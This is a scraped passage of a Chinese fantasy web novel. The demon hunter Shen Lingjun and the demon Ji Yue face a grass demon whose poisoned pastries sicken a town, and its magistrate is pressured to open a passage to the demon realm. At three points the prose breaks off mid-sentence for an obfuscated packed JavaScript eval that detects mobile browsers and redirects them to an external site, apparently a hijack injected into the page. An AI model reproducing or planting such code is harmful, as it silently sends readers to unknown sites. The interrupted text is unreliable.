沈灵均道,“不用给她准备吃的。她三个月内不起床,不喝水,也不进食。” 沈伯愕然。 王妙仪连连跺脚,“骗人!人怎么可能睡三个月不起来!她就是想赖在沈府不走!” 季月微微着恼,“王姑娘,你干嘛不许我住?我又不会吃了你。” 沈灵均看她脸色不虞,连忙截断话头,“沈伯,给客房换一把锁,钥匙交给我。妙仪,季姑娘不会吵到你的,家里一切照旧,你就权当客房没有住人。” 王妙仪终于忍不住,哇地一声哭了出来,“明明有人,怎么可能当作没有人?” 豆大的泪珠沿着脸庞往下流,把一早起来精心敷的胭脂水粉都冲散了。 沈灵均揉了揉额角,“别闹了,过来吃早饭。” “不吃!” 沈灵均向沈伯使个眼色,沈伯连哄带劝地把小姐拉到桌边坐下,拿过点心碟子。 “来,尝尝这新鲜出炉的芋泥山药糕,趁热吃。” 沈灵均亲手盛了碗红豆薏米粥,放在她面前。 王妙仪哭得一抽一抽,嘴里断断续续蹦出几个字,“不要……不要你……” 季月阴森森道,“你不让我住,我偏要住,我还要睡你的床呢!” 沈灵均皱眉,“季姑娘,少说两句。” 季月伸长舌头扮个鬼脸。 王妙仪被她这狰狞的样子吓了一跳,嚎得更凶了。 沈灵均递过一块帕子,“好了,再哭就成猫脸了。饿着肚子吵架,怎么吵得赢?” 王妙仪听到后半句话,觉得有理,才勉强止住哭泣。 她把帕子展开,轻轻拭去脸上泪痕,一边擦,一边拿眼睛瞟季月,嘴里嘟囔着,有违礼法,有伤风化,云云。 季月本已吃饱了,为了跟她作对,故意抢过她面前的点心碟子,往自己嘴里倒。 王妙仪的脸拉得老长,气愤道,“沈伯,我不爱吃山药!去庆真楼买枣泥糕来。” 沈伯神色有异,“小姐还不知道?庆真楼昨晚被官府查封了。那里的曹掌柜,是只妖!” 庆真楼大门上的封条,是沈灵均亲手贴上去的。他知道表妹胆小,捉妖的事,在家向来是含糊带过。曹掌柜的身份连提都没提。 “沈伯你如何得知?” “方才卖早点的张阿伯告诉我的。他每日天一亮就出摊,挑着这芋泥山药糕沿路兜售。到这会儿,估计全县都传遍了。” 季月吃完一块山药糕,舔着手指笑道,“这糕有什么不好?我看比枣泥糕好吃。王姑娘,你这风一吹就倒的身子骨,只怕消受不了庆真楼的点心。” 王妙仪盯着满满当当的点心盒子,肚子咕咕直叫。说来也怪,平日里她对吃食并不挑剔。可今天一想到庆真楼的枣泥糕,立刻口中生津,心痒难耐,若不马上吃到嘴里,浑身就像要炸开似的。 “表哥,庆真楼里还有点心剩下吗?我想吃。” 沈灵均以为她还在赌气,劝道,“别闹别扭了。” 王妙仪忽然站了起来,一手捂着肚子,“我今天非吃到不可!表哥,求你了!” 沈灵均微感诧异,表妹平时温文尔雅,怎么今天如此反常。 “沈伯,你去街上瞧瞧,有卖枣泥糕的,多买些回来。” “是。” “别家……不行……”王妙仪额头上沁出汗珠,连声音都变了。“必须是庆真楼。” 她前后晃了晃,像在忍受极大的痛楚,突然浑身脱力,软倒下去。 沈灵均慌忙起身扶住,“妙仪?妙仪?” 她毫无反应,竟已昏厥。 季月看得呆了。吃不到点心,竟能气昏过去,沈大人这个表妹真乃奇人也。 沈灵均扒开表妹的眼皮一看,顿时脸色大变,手掌抵在她背后,运起法力。 片刻之后,王妙仪悠悠醒转。 “你觉得怎样?” 她双眼失神,嘴唇颤抖,反反复复说道,“庆真楼,枣泥糕。” 沈灵均奔去书房,拿来一瓶三花解毒丸,倒出一粒,喂到她嘴里。 王妙仪勉强吞下,拼命咳了一阵,白皙细嫩的皮肤下隐隐现出绿色,靠在沈灵均肩头,迷迷糊糊地睡过去了。 沈伯急得团团转,“要不要去请薛神医?” 沈灵均眉头拧成了结。“没用的,是妖毒。” “妖毒?!小姐怎会中毒?” “曹掌柜卖的东西不干净。他在南安县二十余年,隐藏太深。都怪我没有及早发现。” 沈伯颤声道,“小姐最爱吃庆真楼的点心,那点心,还是我亲手买来给她的!” “何止是你,我也买过。”沈灵均突然想到什么,脸色变得煞白,“南安县有几个人没吃过庆真楼的东西?若妙仪毒发,恐怕……” 季月望着王妙仪没有血色的脸庞,回想曹掌柜昨晚的话。 草的天性是生长蔓延。他经营酒楼多年,不知散播了多少草茎、草籽。 食物里偶然掺进去的一点点草籽,对于季月而言,就像一粒灰尘,根本感觉不到。没想到人吃进去,竟会中毒。 人类真是脆弱。 沈伯越想越害怕,腹中似乎也隐隐作痛,“那些点心我也吃过,有时小姐吃不完,便给我几块。” 季月插嘴,“也许不是每块点心都有毒呢?” 沈伯双眼圆睁,“季姑娘,你不是常去庆真楼吗?会不会也中了毒?” “我嘛,螃蟹吃多了,拉过几次肚子,兴许就没事了。” 沈灵均沉思片刻,吩咐道,“沈伯,看着小姐,若再发作,就喂一粒三花解毒丸。季姑娘,你先别睡,随我去一趟庆真楼。” 晨雾散尽,玉川河水缓缓流淌,柳树枝头光秃秃的,冒着冷风出摊的小贩都把脖子缩在厚厚的冬衣里。穿过放生桥,拐进安乐街,行人渐多,小食铺子皆开门迎客,叫卖早点。 沈灵均一路疾行,几乎脚不沾地,到了朱雀大街,突然停步。 季月险些撞到他身上。 “你干嘛?庆真楼就在前面。” 他遥望那雕栏画栋的三层高楼,并不走近,略一沉吟,转身在路边的郭氏馄饨摊坐了下来。 季月莫名其妙地跟过去。 小郭老板满脸堆笑迎上来,“两位要点什么?” 沈灵均道,“官府查案,借贵宝地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084238|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。” 小郭老板眼睛瞪得溜圆,“可是庆真楼的案子?昨天街对面乱作一团,里面的人全跑光了。” 沈灵均点点头。 昨日曹掌柜现出原身与他激战,吓跑了一半人。另一半人见到他把昏迷不醒的徐知县背出大门,也跟着跑了。掌柜是妖,还把知县大人打晕了,官府若回来治罪,楼里的人如何撇得清干系。于是阳春班收拾了乐器,彩衣班打包了妆匣,茶博士、酒博士、大菜师傅、面点师傅卷起铺盖,四散而逃。沈灵均带人回来查封时,只有一个枯瘦干瘪的账房先生,和几个呆头呆脑的小伙计,守着柜台茫然无措。 沈灵均把所有人打发回家,给大门贴上封条。 往日煊赫辉煌的酒楼一夜之间人去楼空,令人唏嘘。 小郭老板格外殷勤,一会儿过来倒茶,一会儿端来一碟蜜橘,“两位宽坐,这些都不要钱。” 季月见他唇红齿白,戴一顶翻毛帽子,帽沿快掉到眉毛上,有心逗逗他,“今天怎么不见大郭老板?是不是偷了你叔叔的帽子,出来赚私房钱?” 小郭老板把帽沿往上提了提,“季姑娘见笑了,我叔叔风湿病犯了,疼得起不来床,才让我出来看摊。我们这小本经营,雇不起伙计,比不了大酒楼。” “庆真楼倒了,对你们倒是件好事。” 小郭老板眉开眼笑,“可不敢这么说。” 他的嘴角都快咧到耳朵上了。季月瞧着有趣,“来碗馄饨吧,加紫菜、虾米和蛋皮,不准放葱。” “好嘞!” 小郭老板乐呵呵地去了。 沈灵均瞥了她一眼,“方才在家没吃饱?” “吃饱了呀,这会又馋了。你要不要?” 他眉头拧成川字,摇了摇头。 没一会儿,小郭老板端来一碗热气腾腾的馄饨。季月先凑在热气上蒸了蒸脸,再用小勺舀了口汤抿了抿,发出一声满足的叹息。 沈灵均始终盯着庆真楼的大门,一动不动。 “你是来这里守株待兔的吗?曹掌柜可不一定会回来。” 沈灵均不答,忧心忡忡,喃喃道,“妙仪从小就体弱,我们父母都走得早,一直相依为命……” 他眼中神色很是温柔。季月心里一动,试探着问,“你这么喜欢她,想不想一直和她在一起?” “当然不想。” “为何?” “我是捉妖师,时刻有性命之忧。妙仪性子沉静,胆子又小,应该嫁个好人家,安安稳稳过日子,远离一切是是非非。” “你的意思是说,不和妖打交道,就没有是是非非了?” 沈灵均一时语塞。捉妖固然凶险,但人间的争端、烦恼,无穷无尽,又岂是一两句话说得清的。 一辆马车从北边疾驰而来,停在庆真楼大门口。 车上跳下一个服色考究的中年男子,浑身上下裹得严严实实,如同一只面口袋,闷头就往楼里冲,撞在大门口的封条上,弹了回来。 他揉着脑袋,呆站片刻,扒着缝隙往里瞧,又跑到一边去推窗户。 窗户都是从里面锁死的,推不开。他仍不死心,绕到主楼和辅楼中间的甬道,趁无人注意,打破窗格,十分吃力地翻了进去。 季月推推沈灵均,“快看,有人藐视朝廷,还不去抓!” 32. 春风吹又生(五) 沈灵均端起茶抿了一口,“不急。” 打破的半扇窗户在风中吱呀作响。过了许久,男人都没出来。季月等得无聊,又去逗小郭老板。 “你今年贵庚啊?可有二十岁?” 小郭老板嘻嘻笑道,“刚满二十一。” 她撑着头,神色轻佻,“啧啧,好一个青春逼人的少年郎。” “季姑娘瞧着比我还小几岁呢。” “胡说,我可有五……唔,不能告诉你。” “小店新出炉的酥饼,季姑娘可要尝一尝?” “好啊,来两碟。” 沈灵均斜睨她一眼,“还没吃够?” “怎么了?又不花你的钱。” 他冷冷道,“冬眠三个月,看你怎么熬。” 季月一愣,她吃人间的东西,纯为解馋,不为果腹。沈灵均真是爱瞎操心。 “不用你管。” 沈灵均见她拿起酥饼就啃,忍不住又想嘲讽几句,第二辆马车疾驰而来。 这辆马车比上一辆轻便得多,车上下来的男人仅着一件单衣,靴子筒一高一低,慌里慌张往楼里冲。 他把大门拍得砰砰响,“掌柜的在吗?有人吗?” 有过路的大娘拉住他,示意他看那封条。 他呆看片刻,环视一圈,径直朝郭氏馄饨摊跑来。 “请问这位小哥,可知道对面庆真楼出了什么事?” 小郭老板挤眉弄眼,“客官还不知道?曹掌柜是妖,庆真楼遭官府查封了!” 那穿单衣的男子大惊,“竟有此事,那楼里的点心师傅去了哪儿?” “各回各家了呗。” “这……这可如何是好。” 沈灵均问,“你找点心师傅何事?” “我家娘子一早起来,嚷着要吃庆真楼的一口酥,吃不到便喊肚子痛,说痛得如同火烧,然后就晕了过去。” 男子一口气说到这里,才发现眼前之人是沈灵均,当场下拜,“沈大人,您是衙门的人,定知道点心师傅家住何处,盼能见告!” 季月打量他一会,突然叫道,“你是王夫人的相公,上回被猫妖抓伤的那个!” “是……姑娘怎么知道?” “你娘子是不是在卧房里藏个小柜子,专放庆真楼的点心?” “正是!她向来嗜甜,糕点是日日不断的,我曾劝她稍加节制,她非但不听,还反问我是不是嫌她胖了,将我痛骂一顿。这下好了,真的吃出病了。” 沈灵均道,“她中了毒,找点心师傅无用。你把这药拿回去,每日喂一粒,再找大夫开一副疏通经络的方子,配合服用。三日后若不见好,再来找我。” 王夫人的相公千恩万谢地去了。 第三辆马车疾驰而来。 这回季月和沈灵均同时“咦”了一声,认出眼前这辆镶金坠玉,华丽非凡的,正是徐府的马车。 徐夫人扶着家丁的手,颤颤巍巍地走下车来。 自上回猫妖案后,季月就没见过她。她似乎更加清瘦了,裹着厚厚的裘皮袄子,仍是一副弱不惊风的模样,一手捂肚,面露惊恐。 她的大眼睛扫过庆真楼,冲家丁使个眼色。家丁扑到门上,三两下撕下封条,向里一推,大门豁然洞开。 徐夫人被家丁、丫鬟、仆妇簇拥着进去了。 季月扯扯沈灵均的袖子,“你看,又来一个藐视朝廷的。” 沈灵均淡然道,“徐夫人向来是把朝廷当成自己家的。” “她的身子骨比你表妹硬朗,没晕过去。” 徐夫人一行人刚进去,侧面甬道中的半扇窗户就被推开了。第一个来的胖大男子手捧着一个大包袱,艰难地翻过窗台,摔到地上。 包袱散开,滚出几块红红绿绿的糕饼。 他也顾不得沾了灰尘,拾起来胡乱塞到怀里,闷着头便走。 沈灵均一跃而起,拦在前面。 “孙员外,且慢。” “沈……沈大人?” “你怀里的东西有害无益,放下吧。” 孙员外膝盖一软,跪了下来,“沈大人,我家中老母今早一起来就嚷着要吃庆真楼的紫薯糕,吃不到便口吐白沫,我实在没法子,这才……” 沈灵均倒出五粒药丸,“中毒的不止一人。把这药拿去,喂令堂服下。” 孙员外登上马车走了,季月施施然过来,站在沈灵均身边。 “我总算看明白了,你特意跑过来守着,是为了送药救人?” 沈灵均点点头。 季月转过身,眼望道路尽头,轻叹一声,“你的药还有多少?只怕不够用呢。” 沈灵均猛然回头,只见放生桥畔,烟尘漫漫,十几辆马车排着队驶过,声势浩大,迎面而来。 他连忙拉着季月闪到路边。 那十几辆马车争先恐后地停在庆真楼前,车上跳下来许多穿着考究,脸色惊惶之人,见大门洞开,一股脑拥了进去。 沈灵均紧随其后,一步跨进大门,朗声喊道,“诸位,庆真楼里的点心有毒,切勿再食用,若家中有人中毒的,到我这里领解毒丸。” 众人瞬间把他团团围住,几十双手伸在眼前,讨要解药。 沈灵均出门时,把师父留给他的所有三花解毒丸都带上了,眼见中毒者甚多,更不敢多给,每人只分得三五粒。 也有信不过他的人,拿了药丸,又摸去后厨,悄悄藏起食物,带了出去。 到了午后,人越来越多。平日里爱吃庆真楼糕点的,全都发作起来。有肚痛昏厥的,有浑身发出红疹子的,还有把自己抓出一道道血印子的。尤以高门大户的女性居多。 沈灵均眼看丸药用尽,而马车还是源源不断拐进朱雀大街,心底一片冰凉。 小郭老板馄饨也不卖了,瞪着眼睛看街对面的乱象,一个劲地感慨,“幸好我嫌贵,从来不买庆真楼的点心。可见穷也有穷的好处,躲过一劫。” 及至晚间,马车已经进不了朱雀大街,整条路摩肩接踵,水泄不通,人人都像疯了似的,踩着旁人的脚往庆真楼里挤。 庆真楼里残留的点心,连客人碗里吃剩下的,都被一抢而空,厨房未及带走的米粮、菜蔬、水产、腊肉也扫荡干净,人们还在源源不断地冲进来,指望捡到些面粉渣。 到后来,看到楼里的酒壶、碗筷、算盘、灯烛,乃至桌子、椅子、屏风、纱幔,都拿起来就往外搬,俨然如强盗一般。 沈灵均起初还持剑拦着,可架不住人潮汹涌,硬是把他挤倒。他只得跃到二楼屋檐角上,盯着下方乱象,间或施展法力,扶起跌倒的人。 季月站在他身后,俯视人群,连连咋舌,“都说了是中毒所致。他们这样乱抢东西有何用?难道把桌子椅子搬回去啃吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084239|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈灵均嘶哑着嗓子,“看此情形,中毒之人数以千计。” 就算师父天一道人亲至,也无法在短短数日配制出这么多三花解毒丸。此事当真棘手。 他眼望季月,“你当真不知道曹掌柜去了哪儿?” 季月打了个大大的呵欠,“不知道。我想睡觉。” 月上中天,徐知县迷迷糊糊地睁开眼睛,颈中伤处一跳一跳地疼。 他被草妖勒晕过去,再醒来就躺在自家床上。薛神医拿着银针,在他身上这里戳一下,那里戳一下。又在他颈间敷上一层清凉的草药。 “知县大人千金之躯,怎么如此不善保养,上回砖块砸脑,这回草绳绕颈,若不是老夫妙手回春,您已然为国捐躯了。” 徐知县平时作威作福,对这位神医却丝毫不敢忤逆,咬着牙,喉咙里滚出几个字,“妖孽可恶!他日捉到,必将其千刀万剐。” 可回过头想想,谁能料到曹掌柜是妖呢? 徐知县和他相交多年,甚是投缘,曹掌柜深谙生意人左右逢源之道,极擅察言观色,有时比他夫人还懂得他的心思。徐知县是真的把他当作知己的。 不过是最近手头紧,借他的酒楼解一下燃眉之急,他怎么就如此不识好歹,当场翻脸呢? 想着想着,火气又上来了。黑暗中似乎浮现出曹掌柜那张精明的脸,眼睛骨碌碌地转,瞳孔里发出绿光。 绿光? 徐知县眨了眨眼,突然倒抽一口凉气。这不是幻觉。眼前悬空对着他的那张脸,不正是他昔日朝夕相处的知己曹老弟吗? 他惊叫,“快来人!” 草妖慢悠悠地落到地上,化为人形,“知县大人有何吩咐,和我说就行了。” “你……你要干什么?!” “听说知县大人身体抱恙,特来探望。”曹掌柜的脸狞笑道,“您的脖子可好些了?” 徐知县这才看清,此妖除了一张人脸,身体各处都由细密的草茎组成,微微蠕动,任何一根都能轻易要了他的命。 “沈灵均!沈灵均何在?” “沈大人这会儿可抽不出空。他正忙着给你的百姓解毒呢。” “你说什么?” 草妖猛地跃起,化为一堵绿墙,一寸寸逼近,“庆真楼诚信经营,童叟无欺,食物里加了草籽,加量不加价。人吃进去,便会中毒,吃得越多,中毒越深。我原是个本本分分的生意人,一心一意做买卖,无意让我的客人们受罪。偏偏有人不知天高地厚,要抢我的酒楼,毁我的产业。既然如此,大家都别好过!” 徐知县闻着他血盆大口中喷出来的浊臭气息,几欲晕去。 “中了毒会如何?” 草妖嘎嘎怪笑,“轻则昏厥,重则失智,七七四十九日之后,必死无疑!” 徐知县怒骂,“你这妖孽如此歹毒!” “妖孽?徐老哥,你从前可不是这样叫我的。” 徐知县挣扎着坐起来,“曹老弟,看在往日的情分上,我把酒楼还你,你赶紧给百姓解毒。” 啪,一条草茎重重抽在徐知县脸上。“对谁发号施令呢?你以为事到如今,我还会在乎区区一个酒楼吗?” 徐知县脸上登时裂开一道血口子,眼泪滚滚而下,疼得说不出话。 草妖一摇一摆攀上房梁,恶狠狠道,“即刻吩咐沈灵均,打开通道,送我去妖界。” 33. 春风吹又生(六) “妖界?” 徐知县有点懵。他迷惑地眨着泪眼,拼命回想。很久以前的记忆渐渐浮现。他忽然浑身一颤,指着草妖,“你怎会知道妖界?” 草妖轻蔑道,“县衙保守秘密的本领,七百年来毫无长进。我不单知道妖界,我还知道神巫署在各地委派捉妖师,专门看守连接人间和妖界的通道。这人间,我是一天都呆不下去了。你们若肯送我走,我便饶你们一命。” 徐知县暗暗权衡。若能叫来沈灵均斩杀此妖,算作自己的功劳,于仕途大有好处。但若此妖所言非虚,南安县眼下就有一场大麻烦,一个不慎,可能尸横遍地,官位定然不保。 草妖催促,“怎么样?放走一只妖,换一千条人命,这可是笔大大划算的买卖。” 徐知县捂着脸,“你回去等信吧。容我想想。” 他毕竟是一县之长,面对成了妖的昔日知己,虽然满脸鲜血,威势犹在。 草妖嘿嘿冷笑,“你可要快些想,否则四十九日一过,神仙难救。” 绿草延伸上来,飞快地吞噬了曹掌柜的人脸。嗖嗖声中,千万条草茎穿过屋顶缝隙,消失了。 庆真楼遭众人劫掠,满地狼藉,大门口的匾额掉在地上摔成两半,被踩了无数脚,昔日朱楼画堂,几成断壁残垣,其中惨状自不待言。 子时过后,人们看实在没什么可搬的了,才渐渐散去。 沈灵均无暇为庆真楼哀悼,拉着季月匆匆赶回沈府。 沈伯一见他们,就絮絮叨叨说开了,“小姐刚睡下,晚饭的时候醒过一阵,勉强喂进去半碗粥,都吐了出来。我瞧她一时清醒一时糊涂的。” 沈灵均飞步往里走。“药吃了吗?” “吃了三粒,不见效。少爷你的嗓子怎么了?” 季月有气无力道,“成百上千的人挤到庆真楼,疯了一样要吃里面的东西,沈大人拦不住,还把自己的嗓子喊哑了。” 沈伯大惊,“有这么多人中毒?难怪我派人去医馆,一个大夫都没见到。想必都被人请走了。” 沈灵均走进王妙仪卧房,见她盖着一床雪花纹锦被,小脸惨白,双眼紧闭,眼下两圈乌青。 手掌贴上她额头,只觉手心滚烫。 三花解毒丸起效慢,表妹体质本弱,体内妖毒与药力相抗,如同一场大战,此时战场又着起火来,病势加倍凶险。 他沉吟片刻,“我现写一副方子,你赶紧去药铺抓药。” 沈伯为难,“今日这情形,恐怕……” 沈灵均一怔。看人们洗劫庆真楼的架势,药铺多半也被搬空了。 这边心急如焚,一旁的季月没忍住,打了个大大的呵欠。 两人都看过来。 “对不住,我实在是太……太……太困了。” 沈灵均叹了口气,“沈伯,带季姑娘去客房歇下吧。” 季月连连摆手,“走不动了,我先在这儿趴一会。” 她缓缓坐到小圆凳上,半个身子伏在桌上,像鸟一样把脑袋缩进臂弯里,不过片刻,便睡熟了。 沈灵均扶起王妙仪,让她靠坐在枕头上,运起功力,将一股热气注入她体内。 沈伯出去了一趟,端回来许多茶水点心。 过了一炷香的工夫,王妙仪两颊现出潮红,倏地睁开了眼,“表哥?你带枣泥糕回来了?” 沈灵均皱眉,“你中了毒,现已服了药,快躺下歇着。” 王妙仪眼中空空洞洞,一片呆滞,“枣泥糕有毒?可我想吃啊。” “别去想它了!” 她挣扎着闹起来,“表哥,求你了,我……” 沈灵均一指点在她脑后昏睡穴,王妙仪的身子晃了晃,软倒下去。 沈伯在一旁看着,心疼得直抹眼泪,“小姐从小到大,几时受过这样的罪,她最怕痛了……” 沈灵均站起身,突然一阵晕眩,又跌坐回去。 一整天滴米未进,奔波劳累,刚才又损耗功力,确实有些支撑不住。 沈伯大惊,“少爷,你没事吧?” “无妨,歇一会便可。” “快吃些东西。” 季月正伏在桌上呼呼大睡,手腕靠在一碟米糕上,十指蔻丹鲜红夺目。沈灵均把她的手挪开,夹起一块米糕,刚咬下一口,就听到外头砰砰砸门声。 他只觉得脑后有根筋一跳一跳。 沈伯飞奔出去,片刻,带回来一个衙役,“沈大人,徐知县有请。” 沈灵均无奈,强打起精神,提了剑,匆匆赶到徐府。 天色还未明,徐府的大宅院静悄悄的,只有书房亮着孤灯。下人手提灯笼,将他引到门口,便行礼退了出去。 徐大人独自坐在书桌后头,颈间旧伤未愈,脸上还添了一道新伤,血痕宛然,神情沮丧中带着愤懑,烦躁中还有一丝尴尬。 沈灵均拱手道,“徐大人。” “沈老弟,快坐。你的嗓子怎么了?” 沈灵均把白天的事简略说了。 “荒唐!这群刁民无法无天,连官府都不放在眼里。” “知县大人有所不知,尊夫人可是第一批带人进去抢点心的。” “竟有此事?这个蠢妇,回头我一定狠狠惩戒她。” “属下以为,眼下当务之急,是找出解毒的办法。” “我正是要找你说这个。”徐大人压低声音,“连通妖界的通道,你可有办法打开?” 沈灵均一惊,“知县大人何出此言?捉妖师的首要职责就是把守通道,通道一旦开启,就是大祸临头。” “曹掌柜来找我,说可以为大家解毒,条件是打开通道,送他去妖界。” “万万不可!神巫署有严令,通道绝不能开,何况以我一人之力,也无法开启。” 徐大人怀疑地看着他,“你师父天一道人临走前,说他把一切都托付给你了。如今南安县百姓处于水深火热之中,明知有办法解救,怎能忍心不救。曹掌柜固然可恨,可他去了妖界,就不会再回来了。” “妖的话怎可相信?” 徐大人摸着脸上伤痕,“我也不想顺了他的意,可他说七七四十九日之后,中了妖毒的人都会丧命。” 沈灵均僵在原地。 这草妖,竟如此歹毒。 “即便有什么后患,先解了燃眉之急,再做打算,如何?” 沈灵均摇摇头。徐知县一知半解,根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084240|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不明白开启通道意味着什么。 他嘶哑着声音说,“七七四十九日之内,我定能擒获草妖,找出解毒的办法。” 徐知县重重叹了口气,“你执意如此,我也不好勉强。只是我等得起,中毒之人可等不起。” 这一夜南安县灯火通明。几乎每家每户都有中毒之人在饱受折磨,连带着家宅不宁。吃了三花解毒丸的也不见好转,有连夜到沈府求救的,有胡乱拿药喂给病人的,还有跳着脚大骂沈灵均靠不住的。 唯有徐夫人睡了个安稳觉。她去庆真楼去得早,又对那地方熟悉,端走了笼屉里最后一批枣泥糕,和厨房里备着的做糕点的原料。 还没上马车,她就把几块枣泥糕塞在嘴里,囫囵吞下,果然胸臆间为之一畅,折磨她几个时辰的痛楚渐渐消退。 她哪里知道这是饮鸩止渴,只得意于自己的聪慧。一回到徐府,便吩咐下人,把带回来的原料小心存放。 庆真楼前闹得沸反盈天,几乎要踩死人的时候,她正在自己的卧房里享用茶点,兴之所至,还捏起嗓子,唱了一段小曲儿。 反正老爷已有许久不来她房里睡了。徐夫人从最初的惶惶不可终日到后来渐渐习惯,如今已能自得其乐。 戌时刚过,她便熄了灯睡下了。 梦里,她回到了在庆真楼做舞姬的时候。乐声绕梁,罗裙酒痕,数不尽的欢歌笑语,好生畅快。如今想来,那竟是她一生中最好的时光。 梦醒时分,泪水打湿了枕巾。 徐夫人恍恍惚惚地爬起来,掌灯,想在镜中看看自己如今的模样。 青春是否不再,容颜是否凋零,即使没有凋零,那双热切的眼睛是否早已死去。 她打开妆匣,一张纸掉了出来。 绿色线条勾勒出一位绝色佳人,旁边歪歪扭扭地写了五个字,“解药此中藏”。 徐夫人从没见过这张纸。 纸上之人倒有些眼熟。 砰,房门猛地打开,徐知县虎着脸闯了进来。 “你今日是不是去庆真楼了?” 徐夫人一时说不出话。她的心魂还留在那个消失的青春旧梦里,眼前的一切,老爷、卧房、连同鼻端闻到的零陵香,都异常陌生。 “沈灵均说你拿走了点心,是不是真的?你从前就和那姓曹的妖孽过从甚密,当真不知道他的底细?” 徐夫人支支吾吾,“我……” 徐知县不耐烦,大步走过来。 徐夫人瑟缩了一下。她突然想起自己此时没有上妆。怎么能让老爷见到自己没上妆的样子呢? 她一把抓住妆匣。那张纸被震得飞了起来,恰好飘到徐知县面前。 徐知县盯着那绿色小像,眼睛越瞪越大,肥厚的手掌剧烈颤抖。 这女子,他曾见过的! 在猫妖死的那晚,县衙大牢倒塌前,她曾留下惊鸿一瞥。 他试过把她画下来,张榜通缉,可惜绘画一道,差之毫厘,谬以千里。 如今终于有人把她画出来了! 徐知县狠狠地把纸拍在桌子上,虎口之侧,刚好露出季月的眼睛。 那只眼睛就像活的一样,将他望着,似笑非笑。 34. 春风吹又生(七) 沈灵均回到家时,天刚蒙蒙亮。 卧房内光线晦暗,残烛烧得只剩最后一截。 王妙仪头歪在一边,陷入昏睡。他探了探额头,热度退了。他稍稍放心,小心翼翼地把她的头摆正。 季月还伏在桌子上,身上盖了条毛毯。沈伯不见踪影,大概实在撑不住,去睡了。 沈灵均站在季月身边。 她睡得很香,呼吸匀净,胸口微微起伏。 露出来的半边脸光洁无暇,唯有长睫毛投下的阴影。 沈灵均将斩妖剑推出一寸,一道寒光映在她莹白如玉的皮肤上。 她毫无所觉,连睫毛都没有颤动一下。 再强大的妖,也有失去防备的时候。 这是出手的最佳时机。 他举着剑靠近,三尺青峰抵在她柔嫩的脖子上。她的皮肤白得近乎透明,能隐约看到底下泛青的血管。 她似乎感受到了剑锋上的寒意,小巧的鼻子皱了一下,动了动胳膊,把毯子裹得更紧了。 沈灵均的手很稳,心中飞快盘算,屠龙剑法最后九招,用上十成功力,佐以利器,即使不能一击毙命,也足以伤敌。 若是不用剑,书房里还有师父留下的各种法宝,捆妖索、绊妖刺、震妖铃、缚妖袋、困妖锁、定妖针,诸般法器齐上,可有她好受的。 他呆立半晌,缓缓移开剑,一不小心,割断了一缕碎发。发丝蜿蜒,轻飘飘地落到雪白的脖子上,顺着胸口,掉到里面看不见的地方去了。 沈灵均的耳根子腾地热起来。 季月的唇角自带弧度,不笑时也微微勾起,像在做什么美梦。 他呆呆地看了半晌,无声地还剑入鞘。 她既如此信任,毫无防备,泰然高卧,自己暗施偷袭,实非待客之道,亦非君子所为。 他把剑放在桌上,隔着毯子将她打横抱起。 季月身子很轻,双手垂着,脑袋无知无觉地靠在他怀里。看那样子,能一觉睡到地老天荒。 头一回靠得如此近,她周身除了浓重的妖气,竟然还有一股若有若无的芳香。 那香味钻进鼻子,弄得头脑昏昏沉沉,钻进身体,搅得四肢百骸悸动不安。 沈灵均屏住呼吸,抱着季月一路走到客房,放在床上,盖上一条云被。 她的睡颜安详得很,简直像个柔弱无害的小婴儿。 他喃喃道,“眼下有别的麻烦事,三个月后再来对付你。” 暖阁里点了安神香,熏风闻之欲醉。 他转身离去,合上房门,寻到沈伯屋里,给他留了句话,说自己要闭关三日,炼制解毒丸。 季月做了个长长的梦,梦中她正在长满长草的山坡上攀爬,突然天地变色,脚下的青草变作雪原,狂风夹着雪粒直往脖子里钻,如同刀割一般。 她蜷起身子躲避,狂风肆虐了好一会,突然身体一轻,飘到空中,被一朵软绵绵的云接住了。 云朵柔软蓬松,一直往上飘啊飘,飘过白雪皑皑的高山、波平如镜的湖泊、郁郁葱葱的树林,一路飘到天际。 羲和驾着日车飞驰而过,三足金乌引颈高歌,暖阳照在云朵上,几乎把季月的身体晒化了。 她只觉得周身越来越热,热得实在受不了,只好醒了过来。 季月睁开眼睛,发现天光大亮,自己身处一间雅致的卧房中,暖阁中香烟袅袅,炉子里炭火烧得正旺,身上柔软的云被把她捂出一身薄汗。 她掀掉被子,跳下床来。 奇怪,按理说一进入冬眠,轻易不会醒来。前天晚上被穿心草搅和了,昨天晚上无人打扰,应该一觉睡到春天才对。 她望了望雕花窗格外铅灰色的天空。莫非,现在已经是春天了? 